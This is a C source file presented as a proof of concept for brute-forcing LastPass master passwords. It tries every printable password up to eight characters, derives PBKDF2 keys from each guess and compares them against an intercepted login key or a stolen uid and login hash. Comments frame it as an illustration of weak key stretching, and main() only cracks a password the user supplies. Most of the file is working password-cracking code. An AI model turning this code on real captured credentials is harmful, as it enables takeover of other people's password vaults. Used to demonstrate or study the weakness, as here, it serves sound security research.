Proof of concept of brute-forcing LastPass passwords

lastpass_brute_force.c

#include <assert.h>
#include <openssl/evp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

/* Proof of concept for brute-forcing LastPass passwords from the
   user's login key (sent at login from client to server) or from the
   uid and login hash stored on the server.

   There are many ways in which this could be made faster, e.g., by
   optimizing all the string operations, using a list of the most
   common common passwords, etc. This is just an example. */

/* This is configurable by the user but LastPass recommends 5,000 as a
   reasonable default. */
#define CLIENT_ITERATIONS 5000

/* LastPass doesn't actually document how many iterations they run on
   the server. They just say that they run "many." So in addition to
   stealing the user's UID and login hash, an attacker would have to
   also somehow figure out how many iterations are run on the
   server. If the attacker can steal the UID and login hash of his
   _own_ LastPass account, he can determine this easily. I'm just
   using 5,000 iterations here for illustrative purposes. */
#define SERVER_ITERATIONS 5000

/* Don't try to guess passwords more than 8 characters long. */
#define MAX_PASSWORD 8
#define CHAR_MIN 32
#define CHAR_MAX 126

#define LOUD 0

void print_hash(char *label, unsigned char *hash)
{
  int i;

#if LOUD
  printf("%s: ", label);
  for (i = 0; i < 32; i++)
    printf("%02x", hash[i]);
  printf("\n");
#endif
}


void make_encryption_key(char *email, char *password,
                         unsigned char *encryption_key)
{
  PKCS5_PBKDF2_HMAC(password, strlen(password), email, strlen(email),
                    CLIENT_ITERATIONS, EVP_sha256(), 32, encryption_key);
  print_hash("encryption_key", encryption_key);
}  

void make_login_key(unsigned char *encryption_key, char *password,
                    unsigned char *login_key)
{
  PKCS5_PBKDF2_HMAC(encryption_key, 32, password, strlen(password), 1,
                    EVP_sha256(), 32, login_key);
  print_hash("login_key", login_key);
}

void make_uid(unsigned char *uid)
{
  int i;
  srandom(time(0) * getpid());
  for (i = 0; i < 32; i++)
    uid[i] = random() % 256;
  print_hash("uid", uid);
}

void make_login_hash(unsigned char *login_key, unsigned char *uid,
                     unsigned char *login_hash)
{
  /* I'm not 100% certain whether they use the login_key as the
     encryption key and the uid as the salt, or vice versa; this
     happens only on their server and is therefore not documented. It
     doesn't really matter for purposes of this exercise, as long as
     we're consistent. */
  PKCS5_PBKDF2_HMAC(login_key, 32, uid, 32, SERVER_ITERATIONS, EVP_sha256(),
                    32, login_hash);
  print_hash("login_hash", login_hash);
}

char *password_iterator(int reset)
{
  static char pw[MAX_PASSWORD+1];
  static int last;
  int i;

  if (reset) {
    memset(pw, '\0', sizeof(pw));
    last = 0;
    pw[last] = CHAR_MIN;
    return pw;
  }

  for (i = last; i >= 0; i--) {
    if (pw[i] < CHAR_MAX) {
      pw[i]++;
      return pw;
    }
    pw[i] = CHAR_MIN;
  }
  if (i >= 0) {
    return pw;
  }

  if (last == MAX_PASSWORD - 1)
    return NULL;

  last++;
  pw[last] = CHAR_MIN;
  return pw;
}
  
int brute_force_password_from_login_key(char *email, unsigned char *login_key)
{
  char *password_guess;
  char encryption_key_guess[32];
  char login_key_guess[32];

  for (password_guess = password_iterator(1); password_guess;
       password_guess = password_iterator(0)) {
#if LOUD
    printf("guess=%s\n", password_guess);
#endif
    make_encryption_key(email, password_guess, encryption_key_guess);
    make_login_key(encryption_key_guess, password_guess, login_key_guess);
    if (memcmp(login_key, login_key_guess, 32) == 0) {
      printf("brute_force_password_from_login_key: password=%s\n",
             password_guess);
      return 1;
    }
  }
  
  return 0;
}

int brute_force_password_from_uid_and_login_hash(char *email,
                                                 unsigned char *uid,
                                                 unsigned char *login_hash)
{
  char *password_guess;
  char encryption_key_guess[32];
  char login_key_guess[32];
  char login_hash_guess[32];

  for (password_guess = password_iterator(1); password_guess;
       password_guess = password_iterator(0)) {
#if LOUD
    printf("guess=%s\n", password_guess);
#endif
    make_encryption_key(email, password_guess, encryption_key_guess);
    make_login_key(encryption_key_guess, password_guess, login_key_guess);
    make_login_hash(login_key_guess, uid, login_hash_guess);
    if (memcmp(login_hash, login_hash_guess, 32) == 0) {
      printf("brute_force_password_from_uid_and_login_hash: password=%s\n",
             password_guess);
      return 1;
    }
  }

  return 0;
}






int main(int argc, char *argv[])
{
  char *email, *password;
  unsigned char encryption_key[32];
  unsigned char login_key[32];
  unsigned char uid[32];
  unsigned char login_hash[32];
  int i;
  time_t start, end;

  if (argc != 3) {
    fprintf(stderr, "Wrong number of arguments\n");
    exit(1);
  }

  email = argv[1];
  password = argv[2];

  printf("email: %s\n", email);
  printf("specified password: %s\n", password);
  
  make_encryption_key(email, password, encryption_key);
  make_login_key(encryption_key, password, login_key);
  make_uid(uid);
  make_login_hash(login_key, uid, login_hash);

  start = time(0);
  brute_force_password_from_login_key(email, login_key);
  end = time(0);
  printf("Finished in %d seconds\n", end - start);

  start = time(0);
  brute_force_password_from_uid_and_login_hash(email, uid, login_hash);
  end = time(0);
  printf("Finished in %d seconds\n", end - start);
}